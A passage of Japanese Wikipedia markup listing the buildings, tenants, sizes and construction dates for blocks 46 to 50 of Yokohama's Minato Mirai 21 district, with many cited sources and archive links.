|2015年3月着工<ref name="nomura-fudosan150227"/>{{Refnest|group="注"|当初は2009年の着工、2011年の竣工を予定しており、建物の高さも150m級の計画であった<ref name="yokohama-toshiseibi-MM46-nomura2007">[http://www.city.yokohama.lg.jp/toshi/mm21/press/46kettei.html みなとみらい21中央地区46街区 情報先端企業の新戦略拠点 『横浜野村ビル』]〈[https://web.archive.org/web/20170829160651/http://www.city.yokohama.lg.jp/toshi/mm21/press/46kettei.html アーカイブ]〉(横浜市都市整備局・港湾局 平成19年 {{small|(2007年)}} 10月19日)</ref>。その後、2012年の着工予定に延期となり<ref name="yokohama-toshiseibi-MM46-100326">{{PDFlink|[http://www.city.yokohama.lg.jp/toshi/mm21/press/pdf/20100326keikakuhenkou46.pdf みなとみらい21中央地区46街区『横浜野村ビル』(仮称) 開発計画の変更について]〈[https://web.archive.org/web/20100827093341/http://www.city.yokohama.jp/me/port/press/2010/0326-3.pdf アーカイブ]〉}}(横浜市都市整備局・港湾局 平成22年 {{small|(2010年)}} 3月26日)</ref>、さらに2014年3月時点の情報<ref name="MM-info85"/>では2014年の着工、2016年の竣工予定となっていた。2014年11月には建築計画の標識も設置され、当初の計画より約6年遅れとなる2015年3月にいよいよ着工を迎えた<ref name="nomura-fudosan150227"/>。}}<br />2017年1月竣工<ref name="nomura-fudosan170213"/><br />(同年6月開業)
|-
|colspan="2"|(東区画)[[横浜アイマークプレイス]]<!--(MM21-46街区プロジェクト(仮称))--><ref name="shimizu-mm46"/><ref name="shimizu140331"/><br />(オフィス・商業等複合、事業者:清水建設)<br />(地上14階、高さ約65m<ref name="mm-gaiku39-49"/>)
* [[エバラ食品工業]]が本社を移転・グループ会社集約<ref>[https://www.kanaloco.jp/news/economy/entry-118342.html エバラ本社がMM移転、グループ集約で14年5月に予定/横浜](神奈川新聞{{small|〈カナロコ〉}} 2013年8月9日)</ref><ref>[http://www.ebarafoods.com/company/press/2014/20140423_iten.php 本社移転に関するお知らせ](エバラ食品:ニュースリリース 2014年4月23日)</ref>
* [[富士通コミュニケーションサービス]]が本社を移転<ref>[http://kenplatz.nikkeibp.co.jp/article/nfm/news/20140220/652211/ 【移転】横浜・MM21の新築ビルに本社、富士通コミュニケーションサービス](日経:ケンプラッツ 2014年2月26日)</ref>
* [[日本ケンタッキー・フライド・チキン|日本KFCホールディングス]]が本社を移転・カーネルセンター(商品開発)を集約<!--(2017年2月)--><ref>{{PDFlink|[http://japan.kfc.co.jp/ir/ir/pdf/ir201.pdf 本社移転に関するお知らせ]}}(日本KFCホールディングス株式会社 2016年4月28日)</ref><ref>[http://ryutsuu.biz/strategy/i050213.html 日本KFC/横浜に本社移転](流通ニュース:経営戦略 2016年5月2日)</ref>
* [[Pioneer DJ]]が本社を移転(建物1階にはスタジオ・ショールームも設置)<ref>[https://www.atpress.ne.jp/news/81785 Pioneer DJ株式会社、11月24日より横浜みなとみらいに本社を移転](@Press/Pioneer DJ株式会社 2015年11月24日)</ref>
* [[エクサ (企業)|エクサ]]が本社を移転<ref name="keizaikyoku171129">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2017/20171129-024-26585.html 企業立地促進条例に基づき5件の事業計画を認定!]:{{PDF|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2017/20171129-024-26585.files/20171129.pdf 横浜市記者発表資料]〈[https://web.archive.org/web/20220930033630/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2017/20171129-024-26585.files/20171129.pdf アーカイブ]〉}}(横浜市経済局 平成29年 {{small|(2017年)}} 11月29日)</ref>
* [[ジョンソン (企業)|ジョンソン]]が本社機能を移転・集約<ref>[http://www.johnson.co.jp/corporate/pressrelease/20141029.html ジョンソン株式会社 本社移転のお知らせ](ジョンソン株式会社:プレスリリース 2014年10月29日)</ref>
* [[NTTテクノクロス]](旧NTTソフトウェア)が横浜市内の事業所を集約<ref>[https://www.kanaloco.jp/news/economy/entry-116771.html NTTソフトがMM21・46街区に進出/横浜](神奈川新聞{{small|〈カナロコ〉}} 2013年6月21日)</ref><ref>[http://www.ntts.co.jp/whatsnew/2014/140804.html 横浜・横須賀オフィス統合移転のお知らせ](NTTソフトウェア株式会社 2014年8月4日)</ref>
* [[PFU]]が関東地区の拠点を集約<ref name="keizaikyoku140416">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2014/20140416-024-18766.html 企業立地促進条例に基づき3件の事業計画を認定!]〈[https://web.archive.org/web/20190329210350/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2014/20140416-024-18766.html アーカイブ]〉(横浜市経済局 平成26年 {{small|(2014年)}} 4月16日)</ref><ref>[http://www.pfu.fujitsu.com/news/2014/new141001.html 横浜本社の業務開始日について](株式会社PFU 2014年10月1日)</ref>
* [[LIXIL]]ショールーム横浜(2016年10月、47街区の暫定施設から移転)
* [[Apple]]が研究開発拠点「テクニカル・デベロップメント・センター」を設置<ref name="kanaloco141227">[https://www.kanaloco.jp/news/economy/entry-54911.html 米アップルの研究開発拠点 横浜・MM21の「アイマークプレイス」に](神奈川新聞{{small|〈カナロコ〉}} 2014年12月27日)</ref><ref name="macotakara160227">[http://www.macotakara.jp/blog/news/entry-29344.html Appleのテクニカル・デベロップメント・センター、横浜アイマークプレイスにて稼働中](Macお宝鑑定団Blog[羅針盤] 2016年2月27日)</ref><ref name="doda-apple16">[https://doda.jp/z/job/3001164000/ Apple Japan合同会社への転職・求人情報](転職情報サイト「[[デューダ|DODA]]」、''2017年1月23日閲覧{{small|〈[https://megalodon.jp/2017-0123-1100-06/https://doda.jp:443/z/job/3001164000/ 同日付のウェブ魚拓キャッシュ]〉}}'') ※2016年のエンジニア募集(2月6日に合同転職面談会開催)で、勤務地に「横浜みなとみらいアイマークプレース」とある。</ref><ref group="注" name="apple-mmtdc">研究開発拠点の設置に関して同社による公式発表はなく、事業内容等の詳細は不明。</ref>
{{small|(横浜ジャックモール跡地)}}
|2012年11月着工<!--11月20日着工、12月6日に地鎮祭--><br />2014年3月竣工<ref name="shimizu140331"/><br />(同年5月開業)
|-
|colspan="2"|上記区画外([[横浜ブルーアベニュー#その他|参照]])
* 香露庵(蕎麦屋)
* MYMビル(賃貸など)
** [[東急リバブル]]みなとみらいセンター
** [[学研ホールディングス|学研]]ほっぺんくらぶみなとみらい教室
* 中国美食 親惠(旧:唐苑酒楼、[[中華料理]]店)
|みなとみらい地区再開発計画の対象外<ref>[http://hamarepo.com/story.php?story_id=2226 「みなとみらい」らしからぬ?すずかけ通りのそば屋とピンク色マンションの謎に迫る!](はまれぽ.com 2013年9月6日)</ref><br />{{small|(中国美食のみ''暫定施設'' <ref name="toshi-kaihatsujokyozu"/>)}}
|-
|rowspan="3"|47街区
|colspan="2"|(北区画<!--同街区北側半分-->)KTビル<br />([[コーエーテクモゲームス]]本社・[[東急ホテルズ#東急REIホテル|東急REIホテル]]・[[Zepp]]ライブハウス型ホール等複合ビル開発)<ref name="mitsubishi jisho161027">{{PDFlink|[http://www.mec.co.jp/j/news/archives/mec161027_mm47.pdf 「(仮称)MM21地区47街区開発計画」着手 -みなとみらい21地区にコーエーテクモゲームスが本社を移転-]〈[https://web.archive.org/web/20190629133427/http://www.mec.co.jp/j/news/archives/mec161027_mm47.pdf アーカイブ]〉}}(三菱地所株式会社 2016年10月27日)</ref><ref name="city-yokohama161027">{{PDFlink|[https://www.koeitecmo.co.jp/news/2016/10/docs/Yokohama_20161027.pdf 企業立地ニュース Vol.3:株式会社コーエーテクモゲームス、横浜みなとみらいへの本社・音楽ホールの立地を決定!]〈[https://web.archive.org/web/20210904160316/https://www.koeitecmo.co.jp/news/2016/10/docs/Yokohama_20161027.pdf アーカイブ]〉}}(横浜市経済局・都市整備局 平成28年 {{small|(2016年)}} 10月27日)</ref><ref name="mitsubishi jisho171201">{{PDFlink|[http://www.mec.co.jp/j/news/archives/mec171201_MM47.pdf みなとみらい21地区47街区 コーエーテクモゲームス新本社を含む複合施設着工]〈[https://web.archive.org/web/20190629142631/http://www.mec.co.jp/j/news/archives/mec171201_MM47.pdf アーカイブ]〉}}(三菱地所株式会社 2017年12月1日)</ref><ref>[https://www.koeitecmo.co.jp/news/2016/10/21-1.html 横浜・みなとみらい21地区に本社オフィスとライブハウス型ホールを取得!](株式会社コーエーテクモホールディングス 2016年10月27日)</ref><!--<br />〈MM21地区47街区開発計画{{small|(仮称)}}〉--><br />
(事業者:三菱地所)<br />
(敷地面積:約8,670m{{sup|2}}、下記開発全体(3棟)延床面積:36,713m{{sup|2}}<ref name="kensetsunews170807">[https://www.kensetsunews.com/archives/92050 三菱地所/MM47街区に複合施設3棟/設計は地所設計](建設通信新聞Digital 2017年8月7日5面/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20170816061748/https://www.kensetsunews.com/archives/92050 2017年8月16日時点のアーカイブ])</ref>)<br />(地上15階・地下1階、高さ約81m<ref name="mm-gaiku39-49"/>)
* コーエーテクモゲームス本社オフィスと横浜東急REIホテルなどからなる複合ビル(15階建て/2020年1月完成)<ref name="mitsubishi jisho161027"/><ref name="nikkei161028">[http://www.nikkei.com/article/DGXLASFB27HET_X21C16A0L82000/ コーエーテクモゲームス、MMに本社移転 15階建てビル建設](日本経済新聞 2016年10月28日)</ref>。
** 1-8階:同本社オフィスとして使用([[港北区]]から本社を移転<!--移転は2019年度後半を予定-->)。収容可能な従業員数は1,600人規模を想定<ref name="hamarepo161129">[http://hamarepo.com/story.php?story_id=5699 スーパーオートバックスみなとみらい店の跡地はどうなる?](はまれぽ.com 2016年11月29日)</ref><ref name="nikkei161028"/>。
*: (親会社の[[コーエーテクモホールディングス]]の移転も検討<ref name="nikkei161028"/>)
** 9-15階:[[東急ホテルズ]]が展開する[[ビジネスホテル]]「横浜東急REIホテル」(客室約230室)、2020年6月開業<ref name="tokyuhotels-press170330">[https://prtimes.jp/main/html/rd/p/000000927.000005113.html 横浜みなとみらい21地区に「東急REIホテル」出店 オフィスとライブハウス型ホールとの複合施設に、2020年春 開業予定](株式会社東急ホテルズのプレスリリース 2017年3月30日〈PR TIMES〉)</ref><ref name="yutosoken170331">[http://yutosoken.com/wp/2017/03/31/tokyuhotels-13/ 【ニュース】 東急ホテルズ、三菱地所がみなとみらい21地区で建設計画中のオフィスとライブハウス型ホールとの複合施設に「東急REIホテル」を出店、開業予定は2020年春 神奈川県横浜市](遊都総研 2017年3月31日)</ref><ref name="nikkei161028"/>。
*: (MYプロパティおよびAKフォーチュンが取得しているホテル部分に出店する形をとる<ref name="kt-press170330">[https://prtimes.jp/main/html/rd/p/000000006.000024542.html コーエーテクモゲームス、横浜・みなとみらいの新ホール「Zepp」ブランドで共同展開 ホールは2020年春開業予定](株式会社コーエーテクモゲームスのプレスリリース 2017年3月30日〈PR TIMES〉)</ref>)
* 上記複合ビルの隣にZeppホールネットワークが運営する[[ライブハウス]]型ホール、「KT Zepp Yokohama」(約2,000人収容)も併設<ref name="kt-press170330"/><ref name="zepp170330">[http://www.zepp.co.jp/news/2078/ 横浜・みなとみらい21地区に新「Zepp」が2020年春に誕生!](株式会社Zeppホールネットワーク 2017年3月30日)</ref><ref name="hamakei170330">[https://www.hamakei.com/headline/10070/ みなとみらい21地区47街区に「Zepp Yokohama」が誕生 2,000人収容のライブハウス型ホール](ヨコハマ経済新聞 2017年3月30日)</ref>。
** コーエーテクモホールディングスとZeppホールネットワークが業務提携を行い、共同展開していく<ref name="kt-press170330"/><ref name="zepp170330"/><ref name="hamakei170330"/>。2020年3月に開業したが、[[日本における2019年コロナウイルス感染症の流行状況|新型コロナウイルスの感染拡大]]により一部の無観客ライブを除き全公演中止または延期となっていた<ref name="hamakei200503"/><ref>[https://www.nikkei.com/article/DGXMZO57452980R30C20A3L82000/ 横浜市のホテルや音楽ホール、外出自粛で開業延期](日本経済新聞 2020年3月31日)</ref>。その後、同年7月3日にライブホールとしての営業を開始した<ref>[https://www.oricon.co.jp/news/2166153/full/ KT Zepp Yokohama、ライブホール営業開始](ORICON NEWS, 2020年7月3日)</ref>。
*: (コーエーテクモホールディングスのコンテンツなど、同社のエンタテインメント事業におけるノウハウも活用した新しいスタイルのホールを目指す<ref name="kt-press170330"/><ref name="zepp170330"/><ref name="hamakei170330"/>)
*: (複合ビルと一体構造:低層部のホール部分が張り出した一棟建物として建設<ref name="hamarepo161129"/>)
(三菱地所が開発し、完成後に本社オフィスとホール部分<!--延床面積約26,000m{{sup|2}}-->をコーエーテクモゲームスに譲渡<ref name="mitsubishi jisho161027"/>)<br />
{{small|(過去:[[オートバックスセブン|オートバックス]]や[[ピーシーデポコーポレーション|PC DEPOT]]、[[西松屋]]、[[LIXIL]]ショールームが2016年10月まで所在<ref name="hamarepo161129"/>)}}<br />
{{small|(オートバックスがサービスピットに使用していた49街区増設分の敷地にて暫定利用の計画あり〈49街区の欄を参照〉)}}
|2017年12月着工<ref name="mitsubishi jisho171201"/><br />2020年1月竣工<ref name="mitsubishi jisho171201"/><br />(同年3月開業)<!--<br />(ホテルとライブハウスは2020年春開業予定)<ref name="kt-press170330"/><ref name="tokyuhotels-press170330"/>--><br />(元所有:三菱地所)
|-
|colspan="2"|(南区画<!--同街区南側大部分-->)[[村田製作所]]の研究開発拠点「[[村田製作所みなとみらいイノベーションセンター|みなとみらいイノベーションセンター]]」<ref name="yokohama-keizaikyoku170626">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2017/20170626-024-25600.html 企業立地ニュース Vol.2:株式会社村田製作所 横浜・みなとみらい21地区に研究開発拠点の設立を決定!]/{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2017/20170626-024-25600.files/2017626.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://web.archive.org/web/20220930043407/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/keizai/2017/20170626-024-25600.files/2017626.pdf アーカイブ]〉}}(横浜市経済局 平成29年 {{small|(2017年)}} 6月26日)</ref><ref name="murata170626">[http://www.murata.com/ja-jp/about/newsroom/news/company/general/2017/0626 村田製作所 横浜市「みなとみらい21地区」における研究開発拠点の設立について](株式会社村田製作所:ニュースルーム 2017年6月26日)</ref><ref name="murata171129">[https://www.murata.com/ja-jp/about/newsroom/news/company/general/2017/1129 村田製作所 新たな研究開発拠点「みなとみらいイノベーションセンター」を横浜みなとみらい21地区に設立](株式会社村田製作所:ニュースルーム 2017年11月29日)</ref><ref name="kensetsunews171130">[https://www.kensetsunews.com/archives/132243 村田製作所のMM21新研究開発拠点/戸田で5月着工](建設通信新聞Digital 2017年11月30日5面/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20171206153421/https://www.kensetsunews.com/archives/132243 2017年12月6日時点のアーカイブ])</ref>
(敷地面積:約7,415m{{sup|2}}<ref name="murata171129"/>)<br />
(建物の規模:地上18階・地下2階・塔屋1階、高さ99.95m/延床面積約65,608m{{sup|2}}<ref name="murata171129"/><ref name="kensetsunews171130"/>)
* 同社の国内5箇所目となる研究拠点<ref name="nikkei170627">[http://www.nikkei.com/article/DGKKZO18121960W7A620C1L82000/ MM21に研究拠点 村田製作所、20年開業](日本経済新聞{{small|〈電子版〉}} 2017年6月27日)</ref><ref>[https://www.cbre-propertysearch.jp/article/area_research_mm21_2018-vol4/ 株式会社村田製作所 - みなとみらい特集]([[シービーアールイー|CBRE]] 2018年6月26日)</ref>。2020年12月開業<ref name="murata201215">[https://corporate.murata.com/ja-jp/about/newsroom/news/company/general/2020/1215 関東最大の研究開発拠点「みなとみらいイノベーションセンター」を開業](株式会社村田製作所:ニュースルーム 2020年12月15日)</ref><ref name="nikkei201215">[https://www.nikkei.com/article/DGXZQOJB147UY0U0A211C2000000/ 村田製作所、横浜に研究開発施設 新規事業創出拠点に](日本経済新聞 2020年12月15日)</ref><ref name="response201216">[https://response.jp/article/2020/12/16/341348.html 村田製作所社長「自動車などの市場向けに先進的な製品を開発」---横浜に研究開発拠点を開設](レスポンス 2020年12月16日)</ref>。
** [[滋賀県]]の野洲事業所(同社最大の拠点)に次ぐ規模を想定しており、1,000人以上の勤務を見込む<ref name="murata171129"/><ref name="kensetsunews171130"/><ref name="nikkei170627"/><ref name="asahi170626">[http://www.asahi.com/articles/ASK6V4WFLK6VPLFA00P.html 村田製作所、横浜・みなとみらいに研究開発拠点](朝日新聞デジタル 2017年6月26日)</ref>。
** [[車載器|車載]]向け専用施設(展示施設「Murata みらい Mobility」・ピット施設・大型[[電波暗室]])、[[共創スペース]]「Murata Interactive Communication Space」、オープンコラボレーションスペース(健康・医療系の部門間交流やイベントなど)も設けられている(これらの施設は2021年5月にオープン)<ref name="murata201215"/><ref name="nikkei201215"/><ref name="response201216"/><ref>[https://corporate.murata.com/ja-jp/newsroom/news/company/general/2021/0520 車載関連の展示施設「Murata みらい Mobility」とオープンイノベーションを促進する施設「Murata Interactive Communication Space」をオープン](株式会社村田製作所:ニュースルーム 2021年5月20日)</ref>。
* 中核の[[電気通信|通信]]市場だけでなく、[[自動車]]・[[エネルギー資源|エネルギー]]・[[ヘルスケア]]などの注力市場や[[モノのインターネット|IoT]]などの新規市場における[[基礎研究]]、[[企画]]・[[デザイン]]・[[設計]]力の強化を図る<ref name="murata171129"/><ref name="kensetsunews171130"/>。
* 協業先とのコミュニケーションやアイデアの実証・実験、さらに来訪者への技術開示を行う場として「[[オープンイノベーション]]センター」を開設<ref name="murata171129"/>。
* 立地を生かして、他社との連携強化や大学・企業などからの人材確保を目指す<ref name="nikkei170627"/><ref name="asahi170626"/>。特にエネルギー・ヘルスケア市場では顧客や市場(業界)との接点強化も図っていく<ref name="murata171129"/>。
* [[屋上緑化]]や[[緑のカーテン|壁面緑化]]による[[緑化]]推進(緑化率20%以上目標)、さらに[[ソーラーパネル|太陽光発電パネル]]・雨水利用システムなどの[[環境技術]]を導入して、[[CASBEE]]のSランク取得を目指す<ref name="murata171129"/><ref name="kensetsunews171130"/>。
* 災害発生時における[[帰宅困難者]]などの対応も可能とする目標を掲げており、建物を[[制震|制振]]構造とすることで[[事業継続計画|業務・生活継続計画]] (BLCP) 性能の強化も図っている<ref name="murata171129"/>。
* 横浜市の企業立地促進条例に基づく事業計画に認定されている<ref name="keizaikyoku171129"/>。
; <フロア構成><ref name="murata171129"/><ref name="kensetsunews171130"/>
:* 低層部:開発エリア、にぎわい施設
:** Mulabo!(ムラーボ!/「[[科学]]」をテーマにした体験・展示・学習ゾーン、2020年12月開設)<ref name="mulabo-official">[https://mulabo.murata.com/ Mulabo! 子ども向け科学体験施設](公式サイト/株式会社村田製作所)</ref><ref>[https://www.livplus.liv-group.co.jp/column/column-1267/ コラム:村田製作所みなとみらいイノベーションセンター竣工](LIV+{{small|〈リヴプラス〉}} 2020年9月18日)</ref>
::: 以下の4つのゾーンからなる。
:::* DISCOVER(ディスカバーゾーン):科学に関する体験展示など
:::* THINK(シンクゾーン):カフェ・ライブラリー([[STEM教育|STEM]]関連の本など)を設置
:::* SYMBOL(シンボルゾーン):アート展示・同社の[[ロボット]]デモなど
:::* HISTORY(ヒストリーゾーン):[[エレクトロニクス]]製品・同社の[[電子部品]]づくりの歴史を紹介
:* 中層部:開発エリア
:* 高層部:[[厚生]]施設
: (地下には[[電波暗室]]や[[駐車場]]などを設置)
(現状の2階外部デッキは周辺街区と接続できずに孤立している([https://commons.wikimedia.org/wiki/File:Murata_Manufacturing_Minatomirai_Innovation_Center_-_deck.jpg 参照{{small|〈Commons〉}}])が、将来的には44街区方面やみなとみらい大通りを渡り46街区〈[[横浜野村ビル]]〉方面へデッキを延伸する計画がある<ref name="MM-info85"/><ref name="hamarepo190122"/>)<br />
(三菱地所<!--元所有者-->が村田製作所に土地を売却<ref name="nikkei170627"/>)
|2018年5月着工<ref name="murata171129"/><ref>[https://www.kensetsunews.com/archives/200027 新技術・新事業の開発拠点/村田製作所 みなとみらいイノベーションC起工](建設通信新聞Digital 2018年6月6日5面〈関東・甲信〉/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20180709155105/https://www.kensetsunews.com/archives/200027 2018年7月9日時点のアーカイブ])</ref><br />2020年10月竣工<ref name="murata201215"/><ref>[https://www.ymm21.jp/database/detail/post-121.html 村田製作所みなとみらいイノベーションセンター〈47街区〉](みなとみらいエリアマネジメント公式サイト:みなとみらいデータベース)</ref><!--現地「建築計画のお知らせ」看板(2020年10月15日時点)より--><br />(同年12月開業)<br />(元所有:三菱地所)
|-
|colspan="2"|(最南部)上記の開発に使用されない残存区画あり(用途不明<!--2017年6月時点-->)<ref name="toshi-kaihatsujokyozu"/>
(2021年4月よりコインパーキングのタイムズ〈みなとみらい第5〉あり<ref>[https://times-info.net/P14-kanagawa/C103/park-detail-BUK0054246/ タイムズみなとみらい第5](タイムズの駐車場検索)</ref>)<br />
{{small|(三菱地所が所有していた47街区の敷地面積は約16,700m{{sup|2}}であるが、この残存区画も含まれるかは不明<ref name="mitsubishi jisho161027"/><ref name="mitsubishi jisho171201"/>。ただし、[[土地区画整理事業]]ではこの区画も含めて三菱重工および三菱地所に換地されている<ref name="machi-initiative-mm21"/>)}}<br />
{{small|([[三本珈琲]]が将来的に当地区へ本社を移転する計画があり<ref name="hamarepo200507">[https://hamarepo.com/story.php?story_id=7590 横浜発祥のコーヒーメーカーに聞く横浜とコーヒーの深い関係](はまれぽ.com 2020年5月7日)</ref>、2017年に三菱地所から土地を購入している<ref name="xtech170908">[https://xtech.nikkei.com/kn/atcl/nfmnews/15/083103048/ 【売買】みなとみらいで土地2000m2を確保、三本コーヒー](日経不動産マーケット情報 2017年9月8日/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20200811101114/https://xtech.nikkei.com/kn/atcl/nfmnews/15/083103048/ 2020年8月11日時点のアーカイブ])</ref>。当区画や38街区の残存街区の可能性もあるが場所の詳細は不明{{refnest|group="注"|ただし、2021年には当区画内の一画(コインパーキングの端)に三本珈琲の[[自動販売機]]が設置されている<ref>[https://hamapita.com/3252 三本珈琲のコーヒー粉が買える自販機を発見!タイムズみなとみらい第5駐車場](はまぴた 2021年6月7日)</ref><ref>[http://yokohama-nishi.com/mmc/ 三本コーヒーの自動販売機(自販機)新高島駅周辺情報口コミ評判](横浜西区.com 2021年5月25日)</ref>。}})}}
|''土地所有者を含み詳細不明''<!--2017年6月時点--><br />(所有:三菱地所?<ref name="machi-initiative-mm21"/>)
|-
|rowspan="2"|48街区
|colspan="2"|'''UR都市機構が今後事業者を公募予定'''(下記暫定施設跡地の敷地〈約6,700m{{sup|2}}〉)<ref name="toshi-kaihatsujokyozu"/><ref name="ur-mm21koubo"/><ref>[https://web.archive.org/web/20170816062225/http://business.ur-net.go.jp/support/detail_tochi.asp?kid=116159 事業用地:みなとみらい21中央47街区{{small|〈※実際は48街区に該当〉}}](UR都市機構:URビジネス・サポート、[[ウェイバックマシン|Wayback Machine]]による2017年8月16日時点のアーカイブ)</ref>
(48街区はプロット48 (PLOT 48) として、2020年にはヨコハマトリエンナーレ2020の会場、2021年以降は横浜みなとみらいホール・横浜美術館の仮事務所として使用されている〈下記参照〉)<br />
{{small|(過去:暫定施設「[[横浜アンパンマンこどもミュージアム&モール]]」、61街区{{small|〈一部区画〉}}への移転<ref name="ACM-press180827"/>に伴い2019年5月26日閉館<ref name="kanaloco190208"/>)}}
|今後<!--2019年度以降-->公募予定<br />(所有:UR都市機構)
|-
|colspan="2"|[[プロット48]](PLOT 48)<ref name="toshi-kaihatsujokyozu"/><ref name="ytn190702">[http://www.yokohamatriennale.jp/news/2019/07/2019-142.html ヨコハマトリエンナーレ2020 会期・会場が決定 2020年7月3日から、横浜美術館とプロット48](横浜トリエンナーレ:お知らせ 2019年7月2日)</ref>
* [[横浜トリエンナーレ#ヨコハマトリエンナーレ2020|ヨコハマトリエンナーレ2020]](会期:2020年7月17日〜10月11日)の会場の一つとして、様々な作品を展示<ref name="ytn190702"/><ref>[https://www.fashion-press.net/news/51423 現代アートの国際展「ヨコハマトリエンナーレ2020」横浜美術館とみなとみらい21中央地区ほかで開催](ファッションプレス 2019年7月2日)</ref>。また、2019年11月にはプレイベント「エピソード00 ソースの共有」も開催された<ref>[http://www.welcome.city.yokohama.jp/ja/tourism/eventinfo/ev_detail.php?bid=yw8436 ヨコハマトリエンナーレ2020 エピソード00 ソースの共有](横浜観光情報)</ref>。
* 2021年より共に長期休館となる[[横浜みなとみらいホール]](2022年10月まで休館)や[[横浜美術館]](2023年12月まで休館予定)の仮事務所(移転先)として使用されている<ref name="city-yokohama220630"/><ref>[https://web.archive.org/web/20210727094751/https://mmh.yafjp.org/mmh/topics/2020/12/-202111202210.php 大規模改修工事に伴う長期休館と事務所移転のお知らせ 2021年1月1日~2022年10月まで](横浜みなとみらいホール 2020年12月22日)</ref>。
* [[横浜トリエンナーレ#ヨコハマトリエンナーレ2023|ヨコハマトリエンナーレ2023]](会期:2023年12月9日〜2024年3月10日)でも前回に引き続き会場の一つとして使用される予定である<ref name="asahi220630"/><ref name="ytn220630">[https://www.yokohamatriennale.jp/news/news-203/ 「ヨコハマトリエンナーレ2023」開催決定! アーティスティック・ディレクター、会期、会場の情報を公開しました](横浜トリエンナーレ:お知らせ 2022年6月30日)</ref>。
(<!--会場は-->横浜アンパンマンこどもミュージアム&モールの施設としても利用されていた「ブルーマリーナMM21」<ref group="注" name="bluemarina-mm21"/>などの建物を活用)
|''暫定施設''<ref name="toshi-kaihatsujokyozu"/><!--<br />(2019年7月時点で詳細不明)--><br />(所有:UR都市機構)
|-
|rowspan="3"|49街区
|colspan="2"|[[シンクロン]]本社ビル
(地上6階・地下1階・塔屋1階<ref>[https://www.mjd.co.jp/projects/293 PROJECT:シンクロン本社ビル]([[三菱地所設計]])</ref>、高さ約40m<!--外観上は下記新館と同じ高さ-->)
|2008年9月竣工
|-
|colspan="2"|シンクロン本社ビル新館(増築棟)
(地上7階・地下1階、高さ約40m<ref name="mm-gaiku39-49"/><ref>[https://www.ymm21.jp/database/detail/post-35.html シンクロン本社ビル/新館(増築棟)〈49街区〉](みなとみらいエリアマネジメント公式サイト:みなとみらいデータベース)</ref>)
* 事務所の拡張の他、展示ルームや保育所を併設。<br />(2008年完成の本社ビルに[[増築]])
|2013年2月着工<ref name="MM-info85"/><br />2014年9月竣工<ref name="shincron140909">[http://www.shincron.co.jp/topics/2014/09/post-19.html 本社ビルを増築しました(2014年9月1日竣工)](株式会社シンクロン公式サイト:トピックス 2014年9月9日)</ref>
|-
|colspan="2"|トヨタレンタカー横浜みなとみらい店(運営:[[トヨタレンタリース]]神奈川)<ref name="toshi-kaihatsujokyozu"/><ref name="toyo-rent-mm">[https://rent.toyota.co.jp/shop/detail.aspx?rCode=63701&eCode=072&udFlg=2&sFlg=9 トヨタレンタカー:店舗検索 > 横浜みなとみらい店]</ref><br />
{{small|(かつてオートバックス〈2016年10月に閉鎖した47街区暫定施設〉がサービスピットに使用していた49街区増設分の敷地)}}
|''暫定施設''<br />(2018年4月20日オープン<ref name="toyo-rent-mm"/>)<br />(所有:横浜市?<ref name="machi-initiative-mm21"/>)
|}
{{-}}
===== 50-67街区(新高島駅方面) =====
<!--画像は街区記載順に-->
<!--[[画像:Brillia SHORTSHORTS THEATER.jpg|180px|thumb|[[ブリリア・ショートショートシアター]]<br />(2017年12月閉館)]]-->
[[画像:Yokohama Grangate - 06.jpg|180px|thumb|[[横浜グランゲート]]]]
[[画像:LG YOKOHAMA INNOVATION CENTER 01.jpg|180px|thumb|[[LG YOKOHAMA INNOVATION CENTER]]]]
[[画像:Minatomirai-Gakuen01.jpg|180px|thumb|[[学校法人みなとみらい学園|みなとみらい学園 横浜歯科医療専門学校]]]]
[[画像:Keikyu Group Headquarters 02.jpg|180px|thumb|[[京急グループ本社]]]]
[[画像:Shiseido global innovation center.jpg|180px|thumb|[[資生堂グローバルイノベーションセンター]] (S/PARK)]]
[[画像:Yokohama Gate Tower - 04a.jpg|180px|thumb|[[横濱ゲートタワー]]]]
[[画像:OK Minatomirai 01c.jpg|180px|thumb|[[オーケー]]本社ビル]]
[[画像:Fuji Xerox R&D Square Yokohama Japan 4.jpg|180px|thumb|[[富士ゼロックスR&Dスクエア]]]]
{|class="wikitable" style="font-size:small"
!style="background-color:#efefef"|街区
!colspan="2" style="background-color:#efefef"|内容
!style="background-color:#efefef"|備考
|-
|rowspan="3"|50街区
|colspan="2"|[[東京建物|Brillia]] Grande MM OCEAN&PARK<!-- FRONT TOWER-->(集合住宅、2棟)<br />
(<!--いずれも-->地上30階・地下1階、高さ99.95m)
* Filmee
** [[ブリリア・ショートショートシアター]]([[短編映画]]専門の商業映画館/<!--2008年2月14日開館・-->''2017年12月閉館'')<ref name="brillia-sst">[http://www.brillia-sst.jp/ Brillia SHORTSHORTS THEATER](公式サイト)</ref>
** 横浜みなとみらいブロンテ ライブ (Bronth.LIVE)([[ライブハウス]]・[[多目的ホール]]、上記短編映画館を改装利用し2019年7月開設)<ref name="bronth-live">[https://www.bronth.live/ 横浜MMブロンテ ライブ](公式サイト)</ref><ref name="livewalker27512">[https://www.livewalker.com/mdata/detail.aspx?i=27512 横浜みなとみらいブロンテ](LiveWalker)</ref>
** [[まいばすけっと]]みなとみらい店 {{small|(旧TESCO EXPRESS・[[イオンエブリ|TSURUKAME]])}}
|<!--O棟・P棟共に-->2007年11月竣工
|-
|colspan="2"|Pacific Royal Court MM OCEAN&URBAN<!-- TOWER-->(集合住宅、2棟)<br />
(地上29階・地下1階、高さ約96.3m<!--O棟:96.25m/U棟:96.35m-->)
|O棟:2007年11月竣工<br />U棟:2008年6月竣工
|-
|colspan="2"|[[#ペデストリアン軸(歩行者動線)|「キング軸」歩行者専用通路]](両集合住宅の間に整備)
